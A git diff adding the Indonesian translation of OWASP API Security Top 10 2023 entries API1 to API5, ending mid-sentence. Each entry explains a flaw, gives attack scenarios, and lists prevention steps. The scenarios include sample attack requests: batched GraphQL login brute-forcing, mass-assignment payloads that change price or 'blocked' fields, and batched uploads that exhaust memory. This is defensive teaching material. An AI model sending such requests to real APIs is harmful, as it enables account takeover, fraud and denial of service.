cenderung mengakibatkan terjadinya celah otorisasi. Dengan mengeksploitasi isu ini, penyerang dapat memperoleh akses ke sumber daya dan/atau fungsi administratif pengguna lain. | +| [API6:2023 - Akses Tanpa Batas ke Aliran Bisnis Sensitif][api6] | API yang rentan terhadap risiko ini memaparkan alur bisnis - seperti membeli tiket, atau memberikan komentar - tanpa mengkompensasi bagaimana fungsionalitas tersebut dapat membahayakan bisnis bila digunakan secara berlebihan dengan menggunakan cara yang terotomatisasi. Hal ini tidak berarti disebabkan oleh kesalahan implementasi. | +| [API7:2023 - Pemalsuan Permintaan Sisi Server][api7] | Celah Pemalsuan Permintaan Sisi Server (Server-Side Request Forgery - SSRF) dapat terjadi ketika API mengambil sumber daya jauh tanpa memvalidasi URI yang diberikan pengguna. Hal ini memungkinan penyerang memaksa aplikasi untuk mengirimkan permintaan ke tujuan yang tidak terduga, bahkan bila dilindungi oleh firewall atau VPN. | +| [API8:2023 - Miskonfigurasi Keamanan][api8] | API dan sistem yang mendukung mereka biasanya berisikan konfigurasi yang kompleks, yang dimaksudkan untuk mempermudah penyesuaian API. Insinyur Software and DevOps dapat melewatkan konfigurasi ini, atau tidak mengikuti praktek keamanan terbaik, membuka pintu bagi beragam jenis serangan. | +| [API9:2023 - Pengelolaan Inventaris yang Tidak Tepat][api9] | API cenderung memaparkan lebih banyak titik akhir dibandingkan aplikasi web tradisional, membuat dokumentasi yang tepat dan terkini menjadi sangat penting. Inventori yang tepat mengenai host dan versi API yang diterapkan juga penting untuk memitigasi isu seperti API yang tidak lagi digunakan dan terbukanya titik akhir debug. | +| [API10:2023 - Konsumsi API yang Tidak Aman][api10] | Pengembang software cenderung mempercayai data yang diterima dari API pihak ketiga daripada input pengguna, dan akibatnya cenderung mengadopsi standar keamanan yang lebih lemah. Dalam rangka membahayakan API, penyerang mentargetkan layanan pihak ketiga alih-alih berusaha menyerang target API secara langsung. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/id/0xa1-broken-object-level-authorization.md b/editions/2023/id/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..34023fb7f --- /dev/null +++ b/editions/2023/id/0xa1-broken-object-level-authorization.md @@ -0,0 +1,75 @@ +# API1:2023 Otorisasi Level Obyek yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Luas** Prevalensi: **Mudah** Terdeteksi | **Sedang** Teknis: Spesifik Bisnis | +| Penyerang dapat mengeksploitasi endpoint API yang rentan terhadap otorisasi level obyek yang rusak dengan memanipulasi ID obyek yang dikirim dalam permintaan. ID obyek bisa apa saja dari integer sekuensial, UUID, atau string generik. Terlepas dari tipe datanya, mereka mudah diidentifikasi dalam target permintaan (parameter path atau query string), header permintaan, atau bahkan sebagai bagian dari payload permintaan. | Masalah ini sangat umum dalam aplikasi berbasis API karena komponen server biasanya tidak sepenuhnya melacak keadaan klien, dan sebaliknya, lebih mengandalkan parameter seperti ID obyek, yang dikirim dari klien untuk memutuskan obyek mana yang akan diakses. Respons server biasanya cukup untuk mengetahui apakah permintaan berhasil. | Akses tanpa otorisasi ke obyek pengguna lain dapat mengakibatkan pengungkapan data ke pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Dalam keadaan tertentu, akses tanpa otorisasi ke obyek juga dapat mengarah pada pengambilalihan akun total. | + +## Apakah API Rentan? + +Otorisasi level obyek adalah mekanisme kendali akses yang biasanya diimplementasikan di level kode untuk memvalidasi bahwa pengguna hanya dapat mengakses obyek yang seharusnya mereka miliki izin untuk mengaksesnya. + +Setiap endpoint API yang menerima ID obyek, dan melakukan tindakan apa pun pada obyek, harus menerapkan pemeriksaan otorisasi level obyek. Pemeriksaan tersebut harus memvalidasi bahwa pengguna yang login memiliki izin untuk melakukan tindakan yang diminta pada obyek yang diminta. + +Kegagalan dalam mekanisme ini biasanya mengarah pada pengungkapan informasi yang tidak sah, modifikasi, atau penghancuran semua data. + +Membandingkan ID pengguna sesi saat ini (misalnya dengan mengekstraknya dari token JWT) dengan parameter ID rentan bukanlah solusi yang memadai untuk menyelesaikan Otorisasi Level obyek yang Rusak (BOLA). Pendekatan ini hanya bisa mengatasi sebagian kecil kasus. + +Dalam kasus BOLA, memang dirancang bahwa pengguna akan memiliki akses ke endpoint/fungsi API yang rentan. Pelanggaran terjadi pada level obyek, dengan memanipulasi ID. Jika penyerang berhasil mengakses endpoint/fungsi API yang seharusnya tidak mereka akses - ini adalah kasus [Otorisasi Tingkat Fungsi yang Rusak][5] (BFLA) daripada BOLA. + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah platform e-commerce untuk toko online (toko) menyediakan sebuah halaman berisi grafik pendapatan toko yang di-hosting. Dengan memeriksa permintaan browser, seorang penyerang dapat mengidentifikasi endpoint API yang digunakan sebagai sumber data untuk grafik tersebut dan polanya: `/shops/{shopName}/revenue_data.json`. Menggunakan endpoint API lainnya, penyerang dapat memperoleh daftar semua nama toko yang di-hosting. Dengan skrip sederhana untuk memanipulasi nama dalam daftar, mengganti `{shopName}` dalam URL, penyerang mendapatkan akses ke data penjualan ribuan toko e-commerce. + +### Skenario #2 + +Sebuah produsen otomotif telah mengaktifkan kendali jarak jauh kendaraannya melalui API seluler untuk berkomunikasi dengan ponsel pengemudi. API memungkinkan pengemudi untuk memulai dan menghentikan mesin dan mengunci serta membuka kunci pintu dari jarak jauh. Sebagai bagian dari alur ini, pengguna mengirim Nomor Identifikasi Kendaraan (VIN) ke API. +API gagal memvalidasi bahwa VIN mewakili kendaraan yang dimiliki pengguna yang login, yang menyebabkan kerentanan BOLA. Seorang penyerang dapat mengakses kendaraan yang bukan miliknya. + +### Skenario #3 + +Layanan penyimpanan dokumen online memungkinkan pengguna untuk melihat, mengedit, menyimpan, dan menghapus dokumen mereka. Ketika dokumen pengguna dihapus, sebuah mutasi GraphQL dengan ID dokumen dikirim ke API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Karena dokumen dengan ID yang diberikan dihapus tanpa pemeriksaan izin lebih lanjut, pengguna mungkin dapat menghapus dokumen pengguna lain. + +## Cara Mencegah + +* Terapkan mekanisme otorisasi yang tepat yang mengandalkan kebijakan dan hierarki pengguna. +* Gunakan mekanisme otorisasi untuk memeriksa apakah pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada catatan di setiap fungsi yang menggunakan input dari klien untuk mengakses catatan di basis data. +* Sebaiknya gunakan nilai acak dan tidak terduga sebagai GUID untuk ID catatan. +* Tulis tes untuk mengevaluasi kerentanan mekanisme otorisasi. Jangan terapkan perubahan yang membuat tes gagal. + +## Referensi + +### OWASP + +* [Cheat Sheet Otorisasi][1] +* [Cheat Sheet Otomatisasi Pengujian Otorisasi][2] + +### Eksternal + +* [CWE-285: Otorisasi Tidak Tepat][3] +* [CWE-639: Otorisasi yang Dilewati Melalui Kunci yang Dikendalikan Pengguna][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/id/0xa2-broken-authentication.md b/editions/2023/id/0xa2-broken-authentication.md new file mode 100644 index 000000000..de8bf6790 --- /dev/null +++ b/editions/2023/id/0xa2-broken-authentication.md @@ -0,0 +1,111 @@ + + + +# API2:2023 Autentikasi yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Mekanisme autentikasi adalah target yang mudah bagi penyerang karena terpapar ke semua orang. Meskipun keterampilan teknis yang lebih tinggi mungkin dibutuhkan untuk mengeksploitasi beberapa masalah autentikasi, alat eksploitasi umumnya tersedia. | Kesalahpahaman insinyur perangkat lunak dan keamanan mengenai batasan autentikasi dan kerumitan implementasi bawaan menjadikan masalah autentikasi hal yang lazim. Metodologi untuk mendeteksi autentikasi yang rusak tersedia dan mudah dibuat. | Penyerang dapat memperoleh kendali penuh atas akun pengguna lain dalam sistem, membaca data pribadi mereka, dan melakukan tindakan sensitif atas nama mereka. Sistem kemungkinan besar tidak dapat membedakan tindakan penyerang dari tindakan pengguna yang sah. | + +## Apakah API Rentan? + +Endpoint dan alur autentikasi adalah aset yang perlu dilindungi. Selain itu, "Lupa kata sandi / reset kata sandi" harus diperlakukan sama dengan mekanisme autentikasi. + +Sebuah API rentan bila: + +* Mengizinkan credential stuffing ketika penyerang menggunakan brute force dengan daftar nama pengguna dan kata sandi yang valid. +* Mengizinkan penyerang melakukan serangan brute force pada akun pengguna yang sama, tanpa menyajikan mekanisme captcha/penguncian akun. +* Mengizinkan kata sandi yang lemah. +* Mengirim detail autentikasi sensitif, seperti token auth dan kata sandi di URL. +* Memungkinkan pengguna merubah alamat email mereka, kata sandi saat ini, atau melakukan operasi sensitif lainnya tanpa meminta konfirmasi kata sandi. +* Tidak memvalidasi keaslian token. +* Menerima token JWT yang tidak ditandatangani/lemah ditandatangani (`{"alg":"none"}`) +* Tidak memvalidasi tanggal kadaluwarsa JWT. +* Menggunakan kata sandi teks biasa, tidak dienkripsi, atau menggunakan hash yang lemah. +* Menggunakan kunci enkripsi yang lemah. + +Selain itu, mikroservis itu rentan jika: + +* Mikroservis lain dapat mengaksesnya tanpa otentikasi +* Menggunakan token lemah atau dapat diprediksi untuk memastikan otentikasi + +## Skenario Serangan Contoh + +## Skenario #1 + +Untuk melakukan autentikasi pengguna, klien harus mengirimkan permintaan API seperti di bawah ini dengan kredensial pengguna: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Jika kredensial valid, lalu token auth akan dikembalikan yang harus diberikan dalam permintaan berikutnya untuk mengidentifikasi pengguna. Upaya login dibatasi dengan pembatasan laju yang ketat: hanya tiga permintaan yang diizinkan per menit. + +Untuk melakukan brute force login dengan akun korban, aktor jahat memanfaatkan query batching GraphQL untuk mengatasi pembatasan tingkat permintaan, mempercepat serangan: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Skenario #2 + +Untuk memperbarui alamat email yang terkait dengan akun pengguna, klien harus mengirimkan permintaan API seperti berikut ini: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Karena API tidak mengharuskan pengguna untuk mengkonfirmasi identitas mereka dengan memberikan kata sandi saat ini, aktor jahat yang mampu menempatkan diri dalam posisi untuk mencuri token auth mungkin dapat mengambil alih akun korban dengan memulai alur kerja reset kata sandi setelah memperbarui alamat email akun korban. + +## Cara Mencegah + +* Pastikan Anda mengetahui semua alur kemungkinan untuk mengotentikasi API (mobile/web/tautan langsung yang mengimplementasikan otentikasi satu klik/dll.). Tanyakan pada insinyur Anda alur apa yang Anda lewatkan. +* Bacalah tentang mekanisme autentikasi Anda. Pastikan Anda memahami apa dan bagaimana mereka digunakan. OAuth bukan otentikasi, dan demikian pula kunci API. +* Jangan menciptakan ulang dalam otentikasi, pembuatan token, atau penyimpanan kata sandi. Gunakan standar. +* Endpoint pemulihan kredensial/lupa kata sandi harus diperlakukan seperti endpoint login dalam hal brute force, pembatasan tingkat, dan perlindungan penguncian. +* Haruskan otentikasi ulang untuk operasi sensitif (misalnya mengubah alamat email pemilik akun/nomor telepon 2FA). +* Gunakan [Cheat Sheet Autentikasi OWASP][1]. +* Jika memungkinkan, terapkan otentikasi multifaktor. +* Terapkan mekanisme anti-brute force untuk memitigasi credential stuffing, serangan kamus, dan serangan brute force pada endpoint otentikasi Anda. Mekanisme ini harus lebih ketat dari mekanisme pembatasan tingkat biasa pada API Anda. +* Implementasikan mekanisme penguncian akun/captcha untuk mencegah serangan brute force terhadap pengguna tertentu. Terapkan pemeriksaan kata sandi lemah. +* Kunci API tidak boleh digunakan untuk otentikasi pengguna. Mereka hanya boleh digunakan untuk otentikasi [klien API][2]. + +## Referensi + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Eksternal + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html + diff --git a/editions/2023/id/0xa3-broken-object-property-level-authorization.md b/editions/2023/id/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..82864b998 --- /dev/null +++ b/editions/2023/id/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,122 @@ +# API3:2023 Otorisasi Tingkat Properti Obyek yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Sedang** Teknis: Spesifik Bisnis | +| API cenderung mengekspos endpoint yang mengembalikan semua properti obyek. Hal ini khususnya berlaku untuk API REST. Untuk protokol lain seperti GraphQL, mungkin memerlukan permintaan yang dibuat untuk menentukan properti mana yang harus dikembalikan. Mengidentifikasi properti tambahan ini yang dapat dimanipulasi memerlukan lebih banyak upaya, tetapi ada beberapa alat otomatis yang tersedia untuk membantu tugas ini. | Memeriksa respons API sudah cukup untuk mengidentifikasi informasi sensitif dalam representasi obyek yang dikembalikan. Fuzzing biasanya digunakan untuk mengidentifikasi properti tambahan (tersembunyi). Apakah mereka dapat diubah adalah masalah pembuatan permintaan API dan menganalisis respons. Analisis efek samping mungkin diperlukan jika properti target tidak dikembalikan dalam respons API. | Akses tanpa otorisasi ke properti obyek privat/sensitif dapat mengakibatkan pengungkapan data, kehilangan data, atau kerusakan data. Dalam keadaan tertentu, akses tanpa otorisasi ke properti obyek dapat mengarah ke eskalasi hak istimewa atau pengambilalihan akun parsial/total. | + +## Apakah API Rentan? + +Ketika mengizinkan pengguna mengakses obyek menggunakan endpoint API, penting untuk memvalidasi bahwa pengguna memiliki akses ke properti obyek tertentu yang mereka coba akses. + +Sebuah endpoint API rentan jika: + +* Endpoint API memaparkan properti obyek yang dianggap sensitif dan tidak boleh dibaca oleh pengguna. (sebelumnya bernama: "[Paparan Data Berlebihan][1]") +* Endpoint API memungkinkan pengguna untuk mengubah, menambah/atau menghapus nilai properti obyek sensitif yang seharusnya tidak dapat diakses pengguna (sebelumnya bernama: "[Penugasan Massal][2]") + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah aplikasi kencan memungkinkan pengguna melaporkan pengguna lain karena perilaku yang tidak pantas. Sebagai bagian dari alur ini, pengguna mengklik tombol "laporkan", dan memicu panggilan API berikut: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +Endpoint API rentan karena memungkinkan pengguna terotentikasi memiliki akses ke properti obyek pengguna sensitif yang dilaporkan, seperti "fullName" dan "recentLocation" yang seharusnya tidak diakses oleh pengguna lain. + +### Skenario #2 + +Sebuah platform marketplace online, yang menawarkan satu jenis pengguna ("host") untuk menyewakan apartemen mereka ke jenis pengguna lain ("tamu"), mensyaratkan host untuk menerima pemesanan yang dibuat oleh tamu, sebelum membebankan biaya kepada tamu untuk menginap. + +Sebagai bagian alur ini, sebuah panggilan API dikirim oleh host ke `POST /api/host/approve_booking` dengan payload sah berikut ini: + +``` +{ + "approved": true, + "comment": "Check-in setelah pukul 3 sore" +} +``` + +Host mengirimkan ulan permintaan yang sah, dan menambahkan payload berbahaya berikut: + +``` +{ + "approved": true, + "comment": "Check-in setelah pukul 3 sore", + "total_stay_price": "$1,000,000" +} +``` + +Endpoint API rentan karena tidak ada validasi bahwa host harus memiliki akses ke properti obyek internal - `total_stay_price`, dan tamu akan dikenakan biaya lebih dari yang seharusnya. + +### Skenario #3 + +Sebuah jejaring sosial yang didasarkan pada video pendek, menerapkan filter konten yang membatasi dan sensor yang ketat. Bahkan jika video yang diunggah diblokir, pengguna dapat mengubah deskripsi video menggunakan permintaan API berikut: + +``` +PUT /api/video/update_video + +{ + "description": "video lucu tentang kucing" +} +``` + +Pengguna yang frustrasi dapat mengirimkan ulang permintaan yang sah, dan menambahkan payload berbahaya berikut: + +``` +{ + "description": "video lucu tentang kucing", + "blocked": false +} +``` + +Endpoint API rentan karena tidak ada validasi apakah pengguna seharusnya memiliki akses ke properti obyek internal - `blocked`, dan pengguna dapat mengubah nilai dari `true` ke `false` dan membuka blokir konten mereka sendiri. + +## Cara Mencegah + +* Saat memaparkan obyek menggunakan endpoint API, selalu pastikan bahwa pengguna harus memiliki akses ke properti obyek yang Anda paparkan. +* Hindari menggunakan metode generik seperti `to_json()` dan `to_string()`. Sebaliknya, pilih properti obyek tertentu yang ingin Anda kembalikan. +* Jika memungkinkan, hindari menggunakan fungsi yang secara otomatis mengikat input klien ke dalam variabel kode, obyek internal, atau properti obyek ("Penugasan Massal"). +* Izinkan perubahan hanya pada properti obyek yang seharusnya diperbarui oleh klien. +* Terapkan mekanisme validasi respons berbasis skema sebagai lapisan keamanan tambahan. Sebagai bagian dari mekanisme ini, tentukan dan paksakan data yang dikembalikan oleh semua metode API. +* Pertahankan struktur data yang dikembalikan seminimal mungkin, sesuai persyaratan bisnis/fungsional untuk endpoint tersebut. + +## Referensi + +### OWASP + +* [API3:2019 Paparan Data Berlebihan - OWASP API Security Top 10 2019][1] +* [API6:2019 - Penugasan Massal - OWASP API Security Top 10 2019][2] +* [Cheat Sheet Penugasan Massal][3] + +### Eksternal + +* [CWE-213: Pengungkapan Informasi Sensitif karena Kebijakan yang Tidak Kompatibel][4] +* [CWE-915: Modifikasi Atribut Objek yang Ditentukan Secara Dinamis yang Tidak Terkendali dengan Benar][5] + +[1]: https://owasp.org/API-Security/editions/2019/id/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/id/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html + diff --git a/editions/2023/id/0xa4-unrestricted-resource-consumption.md b/editions/2023/id/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..7877e4f1e --- /dev/null +++ b/editions/2023/id/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,133 @@ +# API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Rata-rata** dieksploitasi | **Luas** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Eksploitasi membutuhkan permintaan API sederhana. Beberapa permintaan serentak dapat dilakukan dari satu komputer lokal atau dengan menggunakan sumber daya komputasi cloud. Sebagian besar alat otomatis yang tersedia dirancang untuk menyebabkan DoS melalui beban lalu lintas tinggi, yang berdampak pada tingkat layanan API. | Umum ditemukan API yang tidak membatasi interaksi atau konsumsi sumber daya klien. Permintaan API yang dibuat, seperti yang mencakup parameter yang mengendalikan jumlah sumber daya yang akan dikembalikan dan melakukan analisis status/waktu/panjang respons seharusnya memungkinkan identifikasi masalah. Hal yang sama berlaku untuk operasi batch. Meskipun agen ancaman tidak memiliki visibilitas atas dampak biaya, ini dapat disimpulkan berdasarkan model bisnis/harga penyedia layanan (misalnya penyedia cloud). | Eksploitasi dapat menyebabkan DoS karena kekurangan sumber daya, tetapi juga dapat menyebabkan peningkatan biaya operasional seperti yang terkait dengan infrastruktur karena permintaan CPU yang lebih tinggi, peningkatan kebutuhan penyimpanan cloud, dll. | + +## Apakah API Rentan? + +Memenuhi permintaan API memerlukan sumber daya seperti bandwidth jaringan, CPU, memori, dan penyimpanan. Terkadang sumber daya yang diperlukan disediakan oleh penyedia layanan melalui integrasi API, dan dibayar berdasarkan permintaan, seperti mengirim email/SMS/panggilan telepon, validasi biometrik, dll. + +API rentan jika setidaknya salah satu batasan berikut hilang atau diatur dengan tidak tepat (misalnya terlalu rendah/tinggi): + +* Batas waktu eksekusi +* Memori maksimum yang dapat dialokasikan +* Jumlah maksimum deskriptor file +* Jumlah proses maksimum +* Ukuran file unggah maksimum +* Jumlah operasi untuk dilakukan dalam satu permintaan klien API (misalnya penyuntingan batch GraphQL) +* Jumlah catatan per halaman untuk dikembalikan dalam satu permintaan-respons +* Batas biaya untuk layanan pihak ketiga + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah jejaring sosial mengimplementasikan alur "lupa kata sandi" menggunakan verifikasi SMS, hal ini memungkinkan pengguna menerima token sekali pakai melalui SMS untuk mereset kata sandi mereka. + +Setelah pengguna mengklik "lupa kata sandi" sebuah panggilan API dikirim dari browser pengguna ke API back-end: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Kemudian, di balik layar, panggilan API dikirim dari back-end ke API pihak ke-3 yang mengurus pengiriman SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +Penyedia pihak ketiga, Willyo, membebankan $0,05 untuk setiap panggilan jenis ini. + +Seorang penyerang menulis skrip yang mengirim panggilan API pertama puluhan ribu kali. Back-end mengikuti dan meminta Willyo untuk mengirim puluhan ribu pesan teks, yang menyebabkan perusahaan kehilangan ribuan dolar dalam hitungan menit. + +### Skenario #2 + +Sebuah Endpoint API GraphQL memungkinkan pengguna mengunggah foto profil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA...\") { + url + } + }" +} +``` + +Begitu proses unggah selesai, API menghasilkan beberapa thumbnail dengan ukuran berbeda berdasarkan gambar yang diunggah. Operasi grafis ini mengambil banyak memori server. + +API mengimplementasikan perlindungan pembatasan tradisional - pengguna tidak dapat mengakses endpoint GraphQL terlalu banyak dalam jangka waktu singkat. API juga memeriksa ukuran gambar yang diunggah sebelum menghasilkan thumbnail untuk menghindari memproses gambar yang terlalu besar. + +Seorang penyerang dapat dengan mudah mengatasi mekanisme tersebut, dengan memanfaatkan sifat fleksibel GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FO IEFOR0xJVA...\") {url}}"}, +] +``` + +Karena API tidak membatasi berapa kali operasi `uploadPic` dapat dicoba, panggilan akan menyebabkan habisnya memori server dan Denial of Service. + +### Skenario #3 + +Sebuah penyedia layanan memungkinkan klien mengunduh file berukuran sebesar apa pun menggunakan API-nya. File-file ini disimpan di penyimpanan objek cloud dan jarang berubah. Penyedia layanan mengandalkan layanan cache agar memiliki tingkat layanan yang lebih baik dan menjaga konsumsi bandwidth tetap rendah. Layanan cache hanya menyimpan file hingga 15GB. + +Ketika salah satu file diperbarui, ukurannya meningkat menjadi 18GB. Semua klien layanan segera mulai menarik versi baru. Karena tidak ada peringatan biaya konsumsi, atau pengeluaran maksimum yang diizinkan untuk layanan cloud, tagihan bulanan berikutnya meningkat dari rata-rata US$13 menjadi US$8 ribu. + +## Cara Mencegah + +* Gunakan solusi yang memudahkan pembatasan [memori][1], [CPU][2], [jumlah restart][3], [deskriptor file, dan proses][4] seperti Kontainer / Serverless code (misalnya Lambda). +* Tentukan dan pastikan ukuran data maksimum pada semua parameter dan payload masukan, seperti panjang maksimum string, jumlah elemen maksimum array, dan ukuran file unggah maksimum (terlepas apakah disimpan secara lokal atau di penyimpanan cloud). +* Terapkan batas seberapa sering klien dapat berinteraksi dengan API dalam rentang waktu tertentu (pembatasan laju). +* Pembatasan laju harus diatur berdasarkan kebutuhan bisnis. Beberapa Endpoint API mungkin memerlukan kebijakan yang lebih ketat. +* Batasi/atur seberapa banyak atau seberapa sering satu klien/pengguna API dapat mengeksekusi operasi tunggal (misalnya memvalidasi OTP, atau meminta pemulihan kata sandi tanpa mengunjungi URL sekali pakai). +* Tambahkan validasi sisi server yang tepat untuk parameter string kueri dan body permintaan, khususnya yang mengendalikan jumlah catatan yang akan dikembalikan dalam respons. +* Konfigurasikan batas pengeluaran untuk semua penyedia layanan/integrasi API. Jika tidak memungkinkan untuk membatasi pengeluaran, sebaiknya konfigurasi peringatan tagihan. + +## Referensi + +### OWASP + +* ["Ketersediaan" - Cheat Sheet Keamanan Layanan Web][5] +* ["Pencegahan DoS" - Cheat Sheet GraphQL][6] +* ["Meredam Serangan Batching" - Cheat Sheet GraphQL][7] + +### Eksternal + +* [CWE-770: Alokasi Sumber Daya Tanpa Batasan atau Pengaturan][8] +* [CWE-400: Konsumsi Sumber Daya yang Tidak Terkendali][9] +* [CWE-799: Kontrol Interaksi Frekuensi yang Tidak Tepat][10] +* "Pembatasan Laju (Pengaturan)" - [Strategi Keamanan untuk Sistem Aplikasi Berbasis Mikroservis][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf + diff --git a/editions/2023/id/0xa5-broken-function-level-authorization.md b/editions/2023/id/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..04af3e505 --- /dev/null +++ b/editions/2023/id/0xa5-broken-function-level-authorization.md @@ -0,0 +1,69 @@ +# API5:2023 Otorisasi Tingkat Fungsi yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Eksploitasi mengharuskan penyerang mengirim panggilan API yang sah ke endpoint API yang seharusnya tidak dapat mereka akses sebagai pengguna anonim atau pengguna biasa non-istimewa. Endpoint yang terpapar akan dengan mudah dieksploitasi. | Pemeriksaan otorisasi untuk fungsi atau sumber daya biasanya dikelola melalui konfigurasi atau level kode. Menerapkan pemeriksaan yang tepat dapat menjadi tugas yang membingungkan karena aplikasi modern dapat terdiri dari banyak jenis peran, grup, dan hierarki pengguna yang kompleks (misalnya sub-pengguna, atau pengguna dengan lebih dari satu peran). Lebih mudah menemukan kelemahan ini di API karena API lebih terstruktur, dan mengakses fungsi yang berbeda lebih dapat diprediksi. | Kelemahan seperti itu memungkinkan penyerang mengakses fungsionalitas yang tidak sah. Fungsi administratif menjadi target utama untuk jenis serangan ini dan dapat menyebabkan pengungkapan data, kehilangan data, atau kerusakan data. Pada akhirnya, dapat menyebabkan gangguan layanan. | + +## Apakah API Rentan? + +Cara terbaik untuk menemukan masalah otorisasi tingkat fungsi yang rusak adalah dengan melakukan analisis mendalam tentang mekanisme otorisasi dengan tetap mempertimbangkan hierarki pengguna, peran atau grup yang berbeda dalam aplikasi, dan mengajukan pertanyaan berikut: + +* Apakah pengguna reguler dapat mengakses endpoint administratif? +* Apakah pengguna dapat melakukan tindakan sensitif (misalnya pembuatan, modifikasi, atau penghapusan) yang seharusnya tidak bisa diakses dengan hanya mengubah metode HTTP 